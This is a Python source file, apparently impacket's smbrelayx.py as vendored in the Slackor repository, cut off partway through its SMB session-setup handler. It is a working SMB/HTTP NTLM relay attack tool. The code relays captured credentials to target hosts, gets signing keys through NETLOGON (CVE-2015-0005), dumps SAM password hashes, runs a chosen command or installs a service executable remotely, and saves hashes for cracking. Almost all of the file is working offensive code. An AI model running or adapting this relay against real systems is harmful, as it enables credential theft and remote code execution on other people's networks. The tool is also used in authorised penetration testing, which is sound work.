github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/smbrelayx.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # SMB Relay Module 9 # 10 # Author: 11 # Alberto Solino (@agsolino) 12 # 13 # Description: 14 # This module performs the SMB Relay attacks originally discovered 15 # by cDc. It receives a list of targets and for every connection received it 16 # will choose the next target and try to relay the credentials. Also, if 17 # specified, it will first to try authenticate against the client connecting 18 # to us. 19 # 20 # It is implemented by invoking a SMB and HTTP Server, hooking to a few 21 # functions and then using the smbclient portion. It is supposed to be 22 # working on any LM Compatibility level. The only way to stop this attack 23 # is to enforce on the server SPN checks and or signing. 24 # 25 # If the target system is enforcing signing and a machine account was provided, 26 # the module will try to gather the SMB session key through 27 # NETLOGON (CVE-2015-0005) 28 # 29 # If the authentication against the targets succeed, the client authentication 30 # success as well and a valid connection is set against the local smbserver. 31 # It's up to the user to set up the local smbserver functionality. One option 32 # is to set up shares with whatever files you want to the victim thinks it's 33 # connected to a valid SMB server. All that is done through the smb.conf file or 34 # programmatically. 35 # 36 from __future__ import division 37 from __future__ import print_function 38 try: 39 import ConfigParser 40 except ImportError: 41 import configparser as ConfigParser 42 import http.server 43 import socketserver 44 import argparse 45 import base64 46 import logging 47 import os 48 import sys 49 try: 50 from urllib.parse import urlparse 51 except ImportError: 52 from urlparse import urlparse 53 from binascii import unhexlify, hexlify 54 from struct import pack, unpack 55 from threading import Thread 56 from six import PY2 57 58 from impacket import version 59 from impacket.dcerpc.v5 import nrpc 60 from impacket.dcerpc.v5 import transport 61 from impacket.dcerpc.v5.ndr import NULL 62 from impacket.dcerpc.v5.rpcrt import DCERPCException 63 from impacket.examples import logger 64 from impacket.examples import serviceinstall 65 from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS 66 from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient 67 from impacket.nt_errors import ERROR_MESSAGES 68 from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \ 69 STATUS_MORE_PROCESSING_REQUIRED 70 from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \ 71 NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey 72 from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \ 73 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ 74 SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \ 75 SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data 76 from impacket.smb3 import SMB3 77 from impacket.smbconnection import SMBConnection 78 from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER 79 from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit 80 81 try: 82 from Cryptodome.Cipher import DES, AES, ARC4 83 except Exception: 84 logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex") 85 logging.critical("See https://pypi.org/project/pycryptodomex/") 86 87 # Global Variables 88 # This is the list of hosts that have been attacked already in case -one-shot was chosen 89 ATTACKED_HOSTS = set() 90 CODEC = sys.getdefaultencoding() 91 92 class doAttack(Thread): 93 def __init__(self, SMBClient, exeFile, command): 94 Thread.__init__(self) 95 96 if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3): 97 self.__SMBConnection = SMBConnection(existingConnection = SMBClient) 98 else: 99 self.__SMBConnection = SMBClient 100 101 self.__exeFile = exeFile 102 self.__command = command 103 self.__answerTMP = b'' 104 if exeFile is not None: 105 self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) 106 107 def __answer(self, data): 108 self.__answerTMP += data 109 110 def run(self): 111 # Here PUT YOUR CODE! 112 global ATTACKED_HOSTS 113 if self.__exeFile is not None: 114 result = self.installService.install() 115 if result is True: 116 logging.info("Service Installed.. CONNECT!") 117 self.installService.uninstall() 118 else: 119 ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) 120 else: 121 from impacket.examples.secretsdump import RemoteOperations, SAMHashes 122 samHashes = None 123 try: 124 # We have to add some flags just in case the original client did not 125 # Why? needed for avoiding INVALID_PARAMETER 126 flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() 127 flags2 |= SMB.FLAGS2_LONG_NAMES 128 self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) 129 130 remoteOps = RemoteOperations(self.__SMBConnection, False) 131 remoteOps.enableRegistry() 132 except Exception as e: 133 logging.debug('Exception:', exc_info=True) 134 # Something wen't wrong, most probably we don't have access as admin. aborting 135 logging.error(str(e)) 136 ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) 137 return 138 139 try: 140 if self.__command is not None: 141 remoteOps._RemoteOperations__executeRemote(self.__command) 142 logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) 143 self.__answerTMP = b'' 144 self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 145 logging.debug('Raw answer %r' % self.__answerTMP) 146 147 try: 148 print(self.__answerTMP.decode(CODEC)) 149 except UnicodeDecodeError: 150 logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 151 'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py ' 152 'again with -codec and the corresponding codec') 153 print(self.__answerTMP) 154 155 self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') 156 else: 157 bootKey = remoteOps.getBootKey() 158 remoteOps._RemoteOperations__serviceDeleted = True 159 samFileName = remoteOps.saveSAM() 160 samHashes = SAMHashes(samFileName, bootKey, isRemote = True) 161 samHashes.dump() 162 logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) 163 except Exception as e: 164 logging.debug('Exception:', exc_info=True) 165 ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) 166 logging.error(str(e)) 167 finally: 168 if samHashes is not None: 169 samHashes.finish() 170 if remoteOps is not None: 171 remoteOps.finish() 172 try: 173 ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) 174 except Exception as e: 175 logging.error(str(e)) 176 pass 177 178 179 class SMBClient(SMB): 180 def __init__(self, remote_name, extended_security = True, sess_port = 445): 181 self._extendedSecurity = extended_security 182 self.domainIp = None 183 self.machineAccount = None 184 self.machineHashes = None 185 186 SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) 187 188 def neg_session(self): 189 neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity) 190 return neg_sess 191 192 def setUid(self,uid): 193 self._uid = uid 194 195 def login_standard(self, user, domain, ansiPwd, unicodePwd): 196 smb = NewSMBPacket() 197 smb['Flags1'] = 8 198 199 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 200 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() 201 sessionSetup['Data'] = SMBSessionSetupAndX_Data() 202 203 sessionSetup['Parameters']['MaxBuffer'] = 65535 204 sessionSetup['Parameters']['MaxMpxCount'] = 2 205 sessionSetup['Parameters']['VCNumber'] = os.getpid() 206 sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] 207 sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) 208 sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) 209 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE 210 211 sessionSetup['Data']['AnsiPwd'] = ansiPwd 212 sessionSetup['Data']['UnicodePwd'] = unicodePwd 213 sessionSetup['Data']['Account'] = user 214 sessionSetup['Data']['PrimaryDomain'] = domain 215 sessionSetup['Data']['NativeOS'] = 'Unix' 216 sessionSetup['Data']['NativeLanMan'] = 'Samba' 217 218 smb.addCommand(sessionSetup) 219 220 self.sendSMB(smb) 221 smb = self.recvSMB() 222 try: 223 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 224 except: 225 logging.error("Error login_standard") 226 return None, STATUS_LOGON_FAILURE 227 else: 228 self._uid = smb['Uid'] 229 return smb, STATUS_SUCCESS 230 231 def setDomainAccount( self, machineAccount, machineHashes, domainIp): 232 self.machineAccount = machineAccount 233 self.machineHashes = machineHashes 234 self.domainIp = domainIp 235 if self._SignatureRequired is True: 236 if self.domainIp is None: 237 logging.error("Signature is REQUIRED on the other end, attack will not work") 238 else: 239 logging.info("Signature is REQUIRED on the other end, using NETLOGON approach") 240 241 242 def netlogonSessionKey(self, challenge, authenticateMessageBlob): 243 # Here we will use netlogon to get the signing session key 244 logging.info("Connecting to %s NETLOGON service" % self.domainIp) 245 246 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 247 authenticateMessage = NTLMAuthChallengeResponse() 248 authenticateMessage.fromString(respToken2['ResponseToken'] ) 249 _, machineAccount = self.machineAccount.split('/') 250 domainName = authenticateMessage['domain_name'].decode('utf-16le') 251 252 try: 253 av_pairs = authenticateMessage['ntlm'][44:] 254 av_pairs = AV_PAIRS(av_pairs) 255 256 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') 257 except: 258 logging.debug("Exception:", exc_info=True) 259 # We're in NTLMv1, not supported 260 return STATUS_ACCESS_DENIED 261 262 stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp 263 264 rpctransport = transport.DCERPCTransportFactory(stringBinding) 265 266 if len(self.machineHashes) > 0: 267 lmhash, nthash = self.machineHashes.split(':') 268 else: 269 lmhash = '' 270 nthash = '' 271 272 if hasattr(rpctransport, 'set_credentials'): 273 # This method exists only for selected protocol sequences. 274 rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash) 275 276 dce = rpctransport.get_dce_rpc() 277 dce.connect() 278 dce.bind(nrpc.MSRPC_UUID_NRPC) 279 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678') 280 281 serverChallenge = resp['ServerChallenge'] 282 283 if self.machineHashes == '': 284 ntHash = None 285 else: 286 ntHash = unhexlify(self.machineHashes.split(':')[1]) 287 288 sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) 289 290 ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) 291 292 nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', 293 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', 294 ppp, 0x600FFFFF) 295 296 clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10) 297 298 # Now let's try to verify the security blob against the PDC 299 300 request = nrpc.NetrLogonSamLogonWithFlags() 301 request['LogonServer'] = '\x00' 302 request['ComputerName'] = serverName + '\x00' 303 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 304 305 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 306 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 307 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName 308 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0 309 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[ 310 'user_name'].decode('utf-16le') 311 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' 312 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge 313 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm'] 314 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman'] 315 316 authenticator = nrpc.NETLOGON_AUTHENTICATOR() 317 authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) 318 authenticator['Timestamp'] = 10 319 320 request['Authenticator'] = authenticator 321 request['ReturnAuthenticator']['Credential'] = '\x00'*8 322 request['ReturnAuthenticator']['Timestamp'] = 0 323 request['ExtraFlags'] = 0 324 #request.dump() 325 try: 326 resp = dce.request(request) 327 #resp.dump() 328 except DCERPCException as e: 329 logging.debug('Exception:', exc_info=True) 330 logging.error(str(e)) 331 return e.get_error_code() 332 333 logging.info("%s\\%s successfully validated through NETLOGON" % ( 334 domainName, authenticateMessage['user_name'].decode('utf-16le'))) 335 336 encryptedSessionKey = authenticateMessage['session_key'] 337 if encryptedSessionKey != '': 338 signingKey = generateEncryptedSessionKey( 339 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) 340 else: 341 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] 342 343 logging.info("SMB Signing key: %s " % hexlify(signingKey)) 344 345 self.set_session_key(signingKey) 346 347 self._SignatureEnabled = True 348 self._SignSequenceNumber = 2 349 self.set_flags(flags1 = SMB.FLAGS1_PATHCASELESS, flags2 = SMB.FLAGS2_EXTENDED_SECURITY) 350 return STATUS_SUCCESS 351 352 def sendAuth(self, serverChallenge, authenticateMessageBlob): 353 smb = NewSMBPacket() 354 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 355 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 356 # Are we required to sign SMB? If so we do it, if not we skip it 357 if self._SignatureRequired: 358 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 359 smb['Uid'] = self._uid 360 361 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 362 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 363 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 364 365 sessionSetup['Parameters']['MaxBufferSize'] = 65535 366 sessionSetup['Parameters']['MaxMpxCount'] = 2 367 sessionSetup['Parameters']['VcNumber'] = 1 368 sessionSetup['Parameters']['SessionKey'] = 0 369 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 370 371 # Fake Data here, don't want to get us fingerprinted 372 sessionSetup['Data']['NativeOS'] = 'Unix' 373 sessionSetup['Data']['NativeLanMan'] = 'Samba' 374 375 sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob) 376 sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob 377 smb.addCommand(sessionSetup) 378 self.sendSMB(smb) 379 380 smb = self.recvSMB() 381 errorCode = smb['ErrorCode'] << 16 382 errorCode += smb['_reserved'] << 8 383 errorCode += smb['ErrorClass'] 384 385 if errorCode == STATUS_SUCCESS and self._SignatureRequired is True and self.domainIp is not None: 386 try: 387 errorCode = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) 388 except: 389 logging.debug('Exception:', exc_info=True) 390 raise 391 392 return smb, errorCode 393 394 def sendNegotiate(self, negotiateMessage): 395 smb = NewSMBPacket() 396 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 397 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 398 # Are we required to sign SMB? If so we do it, if not we skip it 399 if self._SignatureRequired: 400 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 401 402 403 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 404 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 405 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 406 407 sessionSetup['Parameters']['MaxBufferSize'] = 65535 408 sessionSetup['Parameters']['MaxMpxCount'] = 2 409 sessionSetup['Parameters']['VcNumber'] = 1 410 sessionSetup['Parameters']['SessionKey'] = 0 411 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 412 413 # Let's build a NegTokenInit with the NTLMSSP 414 # TODO: In the future we should be able to choose different providers 415 416 blob = SPNEGO_NegTokenInit() 417 418 # NTLMSSP 419 blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 420 blob['MechToken'] = negotiateMessage 421 422 sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) 423 sessionSetup['Parameters'].getData() 424 sessionSetup['Data']['SecurityBlob'] = blob.getData() 425 426 # Fake Data here, don't want to get us fingerprinted 427 sessionSetup['Data']['NativeOS'] = 'Unix' 428 sessionSetup['Data']['NativeLanMan'] = 'Samba' 429 430 smb.addCommand(sessionSetup) 431 self.sendSMB(smb) 432 smb = self.recvSMB() 433 434 try: 435 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 436 except Exception: 437 logging.error("SessionSetup Error!") 438 raise 439 else: 440 # We will need to use this uid field for all future requests/responses 441 self._uid = smb['Uid'] 442 443 # Now we have to extract the blob to continue the auth process 444 sessionResponse = SMBCommand(smb['Data'][0]) 445 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) 446 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) 447 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] 448 sessionData.fromString(sessionResponse['Data']) 449 respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) 450 451 return respToken['ResponseToken'] 452 453 class HTTPRelayServer(Thread): 454 class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 455 def __init__(self, server_address, RequestHandlerClass, target, exeFile, command, mode, outputFile, 456 one_shot, returnStatus=STATUS_SUCCESS, runSocks = False): 457 self.target = target 458 self.exeFile = exeFile 459 self.command = command 460 self.mode = mode 461 self.returnStatus = returnStatus 462 self.outputFile = outputFile 463 self.one_shot = one_shot 464 self.runSocks = runSocks 465 466 socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass) 467 468 class HTTPHandler(http.server.SimpleHTTPRequestHandler): 469 def __init__(self,request, client_address, server): 470 self.server = server 471 self.protocol_version = 'HTTP/1.1' 472 self.challengeMessage = None 473 self.target = None 474 self.client = None 475 self.machineAccount = None 476 self.machineHashes = None 477 self.domainIp = None 478 479 global ATTACKED_HOSTS 480 if self.server.target in ATTACKED_HOSTS and self.server.one_shot: 481 logging.info( 482 "HTTPD: Received connection from %s, skipping %s, already attacked" % ( 483 client_address[0], self.server.target)) 484 return 485 486 if self.server.target is not None: 487 logging.info( 488 "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], self.server.target)) 489 else: 490 logging.info( 491 "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], client_address[0])) 492 http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) 493 494 def handle_one_request(self): 495 try: 496 http.server.SimpleHTTPRequestHandler.handle_one_request(self) 497 except Exception: 498 logging.debug("Exception:", exc_info=True) 499 pass 500 501 def log_message(self, format, *args): 502 return 503 504 def do_HEAD(self): 505 self.send_response(200) 506 self.send_header('Content-type', 'text/html') 507 self.end_headers() 508 509 def do_AUTHHEAD(self, message = ''): 510 self.send_response(401) 511 self.send_header('WWW-Authenticate', message.decode('utf-8')) 512 self.send_header('Content-type', 'text/html') 513 self.send_header('Content-Length','0') 514 self.end_headers() 515 516 def send_error(self, code, message=None): 517 if message.find('RPC_OUT') >=0 or message.find('RPC_IN'): 518 return self.do_GET() 519 return http.server.SimpleHTTPRequestHandler.send_error(self,code,message) 520 521 def do_GET(self): 522 messageType = 0 523 if PY2: 524 authorizationHeader = self.headers.getheader('Authorization') 525 else: 526 authorizationHeader = self.headers.get('Authorization') 527 528 if authorizationHeader is None: 529 self.do_AUTHHEAD(message = b'NTLM') 530 pass 531 else: 532 #self.do_AUTHHEAD() 533 typeX = authorizationHeader 534 try: 535 _, blob = typeX.split('NTLM') 536 token = base64.b64decode(blob.strip()) 537 except: 538 self.do_AUTHHEAD() 539 messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 540 541 if messageType == 1: 542 if self.server.mode.upper() == 'REFLECTION': 543 self.target = self.client_address[0] 544 else: 545 self.target = self.server.target 546 try: 547 if self.client is not None: 548 logging.error('Still performing an attack against %s' % self.client.get_remote_host()) 549 self.send_response(404) 550 self.end_headers() 551 return 552 553 self.client = SMBClient(self.target, extended_security = True) 554 self.client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) 555 self.client.set_timeout(60) 556 except Exception as e: 557 logging.error("Connection against target %s FAILED" % self.target) 558 logging.error(str(e)) 559 560 clientChallengeMessage = self.client.sendNegotiate(token) 561 self.challengeMessage = NTLMAuthChallenge() 562 self.challengeMessage.fromString(clientChallengeMessage) 563 self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(clientChallengeMessage)) 564 565 elif messageType == 3: 566 authenticateMessage = NTLMAuthChallengeResponse() 567 authenticateMessage.fromString(token) 568 if authenticateMessage['user_name'] != '' or self.target == '127.0.0.1': 569 respToken2 = SPNEGO_NegTokenResp() 570 respToken2['ResponseToken'] = token 571 clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'], 572 respToken2.getData()) 573 else: 574 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except 575 # when coming from localhost 576 errorCode = STATUS_ACCESS_DENIED 577 578 if errorCode != STATUS_SUCCESS: 579 logging.error("Authenticating against %s as %s\\%s FAILED" % ( 580 self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) 581 self.do_AUTHHEAD('NTLM') 582 else: 583 # Relay worked, do whatever we want here... 584 logging.info("Authenticating against %s as %s\\%s SUCCEED" % ( 585 self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) 586 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], 587 authenticateMessage['user_name'], 588 authenticateMessage['domain_name'], 589 authenticateMessage['lanman'], authenticateMessage['ntlm']) 590 logging.info(ntlm_hash_data['hash_string']) 591 if self.server.outputFile is not None: 592 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 593 self.server.outputFile) 594 595 # Target will be attacked, adding to the attacked set 596 # If the attack fails, the doAttack thread will be responsible of removing it from the set 597 global ATTACKED_HOSTS 598 if self.target not in ATTACKED_HOSTS: 599 ATTACKED_HOSTS.add(self.target) 600 if self.server.runSocks is True: 601 # Pass all the data to the socksplugins proxy 602 protocolClient = SMBRelayClient(None,urlparse('smb://%s' % self.target)) 603 protocolClient.session = SMBConnection(existingConnection=self.client) 604 activeConnections.put( 605 (self.target, 445, 'SMB', ('%s/%s' % ( 606 authenticateMessage['domain_name'].decode('utf-16le'), 607 authenticateMessage['user_name'].decode('utf-16le'))).upper(), 608 protocolClient, 609 {'CHALLENGE_MESSAGE': self.challengeMessage})) 610 logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) 611 else: 612 clientThread = doAttack(self.client,self.server.exeFile,self.server.command) 613 self.client = None 614 clientThread.start() 615 else: 616 logging.error('%s is being attacker at the moment, skipping.. ' % self.target) 617 618 # And answer 404 not found 619 self.send_response(404) 620 self.send_header('WWW-Authenticate', 'NTLM') 621 self.send_header('Content-type', 'text/html') 622 self.send_header('Content-Length','0') 623 self.end_headers() 624 return 625 626 def __init__(self, outputFile=None): 627 Thread.__init__(self) 628 self.daemon = True 629 self.domainIp = None 630 self.machineAccount = None 631 self.machineHashes = None 632 self.exeFile = None 633 self.command = None 634 self.target = None 635 self.mode = None 636 self.outputFile = outputFile 637 self.one_shot = False 638 self.runSocks = False 639 640 def setTargets(self, target): 641 self.target = target 642 643 def setExeFile(self, filename): 644 self.exeFile = filename 645 646 def setCommand(self, command): 647 self.command = command 648 649 def setSocks(self, socks): 650 self.runSocks = socks 651 652 def setReturnStatus(self, returnStatus): 653 # Not implemented yet. 654 pass 655 656 def setMode(self,mode, one_shot): 657 self.mode = mode 658 self.one_shot = one_shot 659 660 def setDomainAccount( self, machineAccount, machineHashes, domainIp): 661 self.machineAccount = machineAccount 662 self.machineHashes = machineHashes 663 self.domainIp = domainIp 664 665 def run(self): 666 logging.info("Setting up HTTP Server") 667 httpd = self.HTTPServer(("", 80), self.HTTPHandler, self.target, self.exeFile, self.command, self.mode, 668 self.outputFile, self.one_shot, runSocks = self.runSocks) 669 httpd.serve_forever() 670 671 class SMBRelayServer(Thread): 672 def __init__(self, outputFile = None): 673 Thread.__init__(self) 674 self.daemon = True 675 self.server = 0 676 self.target = '' 677 self.mode = 'REFLECTION' 678 self.domainIp = None 679 self.machineAccount = None 680 self.machineHashes = None 681 self.exeFile = None 682 self.returnStatus = STATUS_SUCCESS 683 self.command = None 684 self.one_shot = False 685 self.runSocks = False 686 687 # Here we write a mini config for the server 688 smbConfig = ConfigParser.ConfigParser() 689 smbConfig.add_section('global') 690 smbConfig.set('global','server_name','server_name') 691 smbConfig.set('global','server_os','UNIX') 692 smbConfig.set('global','server_domain','WORKGROUP') 693 smbConfig.set('global','log_file','smb.log') 694 smbConfig.set('global','credentials_file','') 695 696 if outputFile is not None: 697 smbConfig.set('global','jtr_dump_path',outputFile) 698 699 # IPC always needed 700 smbConfig.add_section('IPC$') 701 smbConfig.set('IPC$','comment','') 702 smbConfig.set('IPC$','read only','yes') 703 smbConfig.set('IPC$','share type','3') 704 smbConfig.set('IPC$','path','') 705 706 self.server = SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) 707 self.server.processConfigFile() 708 709 self.origSmbComNegotiate = self.server.hookSmbCommand(SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) 710 self.origSmbSessionSetupAndX = self.server.hookSmbCommand(SMB.SMB_COM_SESSION_SETUP_ANDX, 711 self.SmbSessionSetupAndX) 712 # Let's use the SMBServer Connection dictionary to keep track of our client connections as well 713 self.server.addConnection('SMBRelay', '0.0.0.0', 445) 714 715 def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): 716 connData = smbServer.getConnectionData(connId, checkStatus = False) 717 if self.mode.upper() == 'REFLECTION': 718 self.target = connData['ClientIP'] 719 ############################################################# 720 # SMBRelay 721 smbData = smbServer.getConnectionData('SMBRelay', False) 722 if self.target in smbData: 723 # Remove the previous connection and use the last one 724 smbClient = smbData[self.target]['SMBClient'] 725 del smbClient 726 del smbData[self.target] 727 728 # Let's check if we already attacked this host. 729 global ATTACKED_HOSTS 730 if self.target in ATTACKED_HOSTS and self.one_shot is True: 731 logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % ( 732 connData['ClientIP'], self.target)) 733 packet = NewSMBPacket() 734 packet['Flags1'] = SMB.FLAGS1_REPLY 735 packet['Flags2'] = SMB.FLAGS2_NT_STATUS 736 packet['Command'] = recvPacket['Command'] 737 packet['Pid'] = recvPacket['Pid'] 738 packet['Tid'] = recvPacket['Tid'] 739 packet['Mid'] = recvPacket['Mid'] 740 packet['Uid'] = recvPacket['Uid'] 741 packet['Data'] = '\x00\x00\x00' 742 errorCode = STATUS_NOT_SUPPORTED 743 packet['ErrorCode'] = errorCode >> 16 744 packet['ErrorClass'] = errorCode & 0xff 745 746 return None, [packet], STATUS_NOT_SUPPORTED 747 else: 748 logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target)) 749 750 try: 751 if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0: 752 extSec = False 753 else: 754 if self.mode.upper() == 'REFLECTION': 755 # Force standard security when doing reflection 756 logging.info("Downgrading to standard security") 757 extSec = False 758 recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY) 759 else: 760 extSec = True 761 client = SMBClient(self.target, extended_security = extSec) 762 client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) 763 client.set_timeout(60) 764 except Exception as e: 765 logging.error("Connection against target %s FAILED" % self.target) 766 logging.error(str(e)) 767 else: 768 encryptionKey = client.get_encryption_key() 769 smbData[self.target] = {} 770 smbData[self.target]['SMBClient'] = client 771 if encryptionKey is not None: 772 connData['EncryptionKey'] = encryptionKey 773 smbServer.setConnectionData('SMBRelay', smbData) 774 smbServer.setConnectionData(connId, connData) 775 return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) 776 ############################################################# 777 778 def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket): 779 780 connData = smbServer.getConnectionData(connId, checkStatus = False) 781 ############################################################# 782 # SMBRelay 783 smbData = smbServer.getConnectionData('SMBRelay', False) 784 ############################################################# 785 786 respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 787 global ATTACKED_HOSTS 788 789 if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: 790 # Extended security. Here we deal with all SPNEGO stuff 791 respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() 792 respData = SMBSessionSetupAndX_Extended_Response_Data() 793 sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) 794 sessionSetupData = SMBSessionSetupAndX_Extended_Data() 795 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] 796 sessionSetupData.fromString(smbCommand['Data']) 797 connData['Capabilities'] = sessionSetupParameters['Capabilities'] 798 799 if unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: 800 # If there no GSSAPI ID, it must be an AUTH packet 801 blob = 